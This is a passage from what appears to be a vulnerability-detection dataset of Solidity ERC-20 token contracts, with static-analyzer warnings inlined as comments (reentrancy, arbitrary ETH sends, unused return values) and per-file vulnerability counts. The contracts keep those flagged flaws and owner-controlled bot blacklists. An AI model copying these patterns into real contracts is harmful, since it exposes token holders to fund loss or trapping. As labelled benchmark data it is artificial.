(sender == pair) {\n if (!isExcludedFromTransactionLimitChecks[recipient]) {\n require(\n amount <= maxTransactionLimitBuy,\n \"Buy exceeds limit\"\n );\n\n require(\n _balances[recipient] + amount <= maxWalletLimit,\n \"Wallet exceeds limit\"\n );\n }\n } else if (recipient == pair) {\n if (!isExcludedFromTransactionLimitChecks[sender]) {\n require(\n amount <= maxTransactionLimitSell,\n \"Sell exceeds limit\"\n );\n }\n } else {\n if (!isExcludedFromTransactionLimitChecks[recipient]) {\n require(\n _balances[recipient] + amount <= maxWalletLimit,\n \"Transfer exceeds limit\"\n );\n }\n }\n }\n\n\t\t// reentrancy-eth | ID: 225de84\n _balances[sender] -= amount;\n\n\t\t// reentrancy-events | ID: 75f6827\n\t\t// reentrancy-eth | ID: 225de84\n uint256 amountReceived = shouldTakeFee(sender, recipient)\n ? takeFee(sender, amount, recipient)\n : amount;\n\n\t\t// reentrancy-eth | ID: 225de84\n _balances[recipient] += amountReceived;\n\n\t\t// reentrancy-events | ID: 75f6827\n emit Transfer(sender, recipient, amountReceived);\n\n return true;\n }\n\n function shouldTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return !isFeeExempt[sender] && !isFeeExempt[recipient];\n }\n\n function takeFee(\n address sender,\n uint256 amount,\n address to\n ) internal returns (uint256) {\n uint256 feeAmount = (to == pair)\n ? (amount * sellTotalFees) / 100\n : (sender == pair ? (amount * buyTotalFees) / 100 : 0);\n\n if (feeAmount == 0) return amount;\n\n\t\t// reentrancy-eth | ID: 225de84\n _balances[address(this)] += feeAmount;\n\n\t\t// reentrancy-events | ID: 75f6827\n emit Transfer(sender, address(this), feeAmount);\n\n distributeFee(feeAmount, to == pair);\n\n return amount - feeAmount;\n }\n\n function distributeFee(uint256 feeAmount, bool isSell) internal {\n uint256 wallet1Part = (feeAmount *\n (isSell ? sellWallet1Fee : buyWallet1Fee)) /\n (isSell ? sellTotalFees : buyTotalFees);\n\n uint256 wallet2Part = (feeAmount *\n (isSell ? sellWallet2Fee : buyWallet2Fee)) /\n (isSell ? sellTotalFees : buyTotalFees);\n\n uint256 wallet3Part = (feeAmount *\n (isSell ? sellWallet3Fee : buyWallet3Fee)) /\n (isSell ? sellTotalFees : buyTotalFees);\n\n uint256 liquidityPart = feeAmount -\n (wallet1Part + wallet2Part + wallet3Part);\n\n\t\t// reentrancy-eth | ID: 225de84\n tokenForWallet1 += wallet1Part;\n\n\t\t// reentrancy-eth | ID: 225de84\n tokenForWallet2 += wallet2Part;\n\n\t\t// reentrancy-eth | ID: 225de84\n tokenForWallet3 += wallet3Part;\n\n\t\t// reentrancy-eth | ID: 225de84\n tokenForLiquidity += liquidityPart;\n }\n\n function shouldSwapBack() internal view returns (bool) {\n return\n msg.sender != pair &&\n !inSwap &&\n swapEnabled &&\n tradingOpen &&\n _balances[address(this)] >= swapThreshold;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd8b364): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd8b364: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 65ed9d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 65ed9d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() internal swapping {\n uint256 totalTokensToSwap = tokenForWallet1 +\n tokenForWallet2 +\n tokenForWallet3 +\n tokenForLiquidity;\n\n if (totalTokensToSwap == 0) return;\n\n uint256 liquidityTokens = (tokenForLiquidity *\n _balances[address(this)]) / (2 * totalTokensToSwap);\n\n uint256 amountToSwapForETH = _balances[address(this)] - liquidityTokens;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: cd8b364\n\t\t// reentrancy-benign | ID: 65ed9d0\n swapTokensForEth(amountToSwapForETH);\n\n uint256 newETHBalance = address(this).balance;\n\n uint256 ethBalanceChange = newETHBalance - initialETHBalance;\n\n\t\t// reentrancy-events | ID: cd8b364\n\t\t// reentrancy-benign | ID: 65ed9d0\n distributeETH(ethBalanceChange, liquidityTokens, totalTokensToSwap);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b087346): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b087346: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8093fb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8093fb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function distributeETH(\n uint256 ethBalance,\n uint256 liquidityTokens,\n uint256 totalTokensToSwap\n ) private {\n uint256 ethForWallet1 = (ethBalance * tokenForWallet1) /\n totalTokensToSwap;\n\n uint256 ethForWallet2 = (ethBalance * tokenForWallet2) /\n totalTokensToSwap;\n\n uint256 ethForWallet3 = (ethBalance * tokenForWallet3) /\n totalTokensToSwap;\n\n uint256 ethForLiquidity = ethBalance -\n (ethForWallet1 + ethForWallet2 + ethForWallet3);\n\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-benign | ID: 8093fb2\n sendETH(wallet1FeeReceiver, ethForWallet1);\n\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-benign | ID: 8093fb2\n sendETH(wallet2FeeReceiver, ethForWallet2);\n\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-benign | ID: 8093fb2\n sendETH(wallet3FeeReceiver, ethForWallet3);\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: b087346\n\t\t\t// reentrancy-benign | ID: 8093fb2\n addLiquidity(liquidityTokens, ethForLiquidity);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ebbf825): Depicted.sendETH(address,uint256) sends eth to arbitrary user Dangerous calls (success,None) = address(to).call{value amount}()\n\t// Recommendation for ebbf825: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH(address to, uint256 amount) private {\n\t\t// reentrancy-events | ID: 75f6827\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-events | ID: cd8b364\n\t\t// reentrancy-benign | ID: 65ed9d0\n\t\t// reentrancy-benign | ID: 8093fb2\n\t\t// reentrancy-eth | ID: 225de84\n\t\t// arbitrary-send-eth | ID: ebbf825\n (bool success, ) = payable(to).call{value: amount}(\"\");\n\n require(success, \"ETH Transfer failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 08cee5e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 08cee5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 75f6827\n\t\t// reentrancy-events | ID: cd8b364\n\t\t// reentrancy-events | ID: 08cee5e\n\t\t// reentrancy-benign | ID: 65ed9d0\n\t\t// reentrancy-eth | ID: 225de84\n try\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {\n\t\t\t// reentrancy-events | ID: 08cee5e\n emit SwapFailed(\"Failed to swap tokens for ETH\");\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e98e60): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e98e60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0d5897e): Depicted.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,DEAD,block.timestamp)\n\t// Recommendation for 0d5897e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 75f6827\n\t\t// reentrancy-events | ID: 1e98e60\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-events | ID: cd8b364\n\t\t// reentrancy-benign | ID: 65ed9d0\n\t\t// reentrancy-benign | ID: 8093fb2\n\t\t// unused-return | ID: 0d5897e\n\t\t// reentrancy-eth | ID: 225de84\n try\n router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n DEAD,\n block.timestamp\n )\n {} catch {\n\t\t\t// reentrancy-events | ID: 1e98e60\n\t\t\t// reentrancy-events | ID: b087346\n\t\t\t// reentrancy-events | ID: cd8b364\n emit LiquidityAddedFailed(\"Failed to add liquidity\");\n }\n }\n}\n",
"file_name": "solidity_code_10798.sol",
"size_bytes": 37672,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TORO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45dd543): TORO._taxWallet should be immutable \n\t// Recommendation for 45dd543: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e6bde1): TORO._initialBuyTax should be constant \n\t// Recommendation for 0e6bde1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 518a5f6): TORO._initialSellTax should be constant \n\t// Recommendation for 518a5f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd80b63): TORO._reduceBuyTaxAt should be constant \n\t// Recommendation for dd80b63: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9210a05): TORO._reduceSellTaxAt should be constant \n\t// Recommendation for 9210a05: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05bdea6): TORO._preventSwapBefore should be constant \n\t// Recommendation for 05bdea6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 13;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Toro inole\";\n\n string private constant _symbol = unicode\"TORO\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2f6d50): TORO._taxSwapThreshold should be constant \n\t// Recommendation for c2f6d50: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88a087a): TORO._maxTaxSwap should be constant \n\t// Recommendation for 88a087a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad09781): TORO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad09781: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d81c39e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d81c39e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 568e8f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 568e8f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d81c39e\n\t\t// reentrancy-benign | ID: 568e8f0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d81c39e\n\t\t// reentrancy-benign | ID: 568e8f0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 196f7eb): TORO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 196f7eb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 568e8f0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d81c39e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25e6611): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25e6611: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6680eb7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6680eb7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 25e6611\n\t\t\t\t// reentrancy-eth | ID: 6680eb7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 25e6611\n\t\t\t\t\t// reentrancy-eth | ID: 6680eb7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6680eb7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6680eb7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6680eb7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 25e6611\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6680eb7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6680eb7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 25e6611\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 25e6611\n\t\t// reentrancy-events | ID: d81c39e\n\t\t// reentrancy-benign | ID: 568e8f0\n\t\t// reentrancy-eth | ID: 6680eb7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f0bad50): TORO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f0bad50: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 25e6611\n\t\t// reentrancy-events | ID: d81c39e\n\t\t// reentrancy-eth | ID: 6680eb7\n\t\t// arbitrary-send-eth | ID: f0bad50\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 62e6b4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 62e6b4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4dbc37c): TORO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4dbc37c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc71beb): TORO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dc71beb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d75a760): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d75a760: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 62e6b4e\n\t\t// reentrancy-eth | ID: d75a760\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 62e6b4e\n\t\t// unused-return | ID: dc71beb\n\t\t// reentrancy-eth | ID: d75a760\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 62e6b4e\n\t\t// unused-return | ID: 4dbc37c\n\t\t// reentrancy-eth | ID: d75a760\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 62e6b4e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d75a760\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10799.sol",
"size_bytes": 20317,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Nogwai is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7deb539): Nogwai.bots is never initialized. It is used in 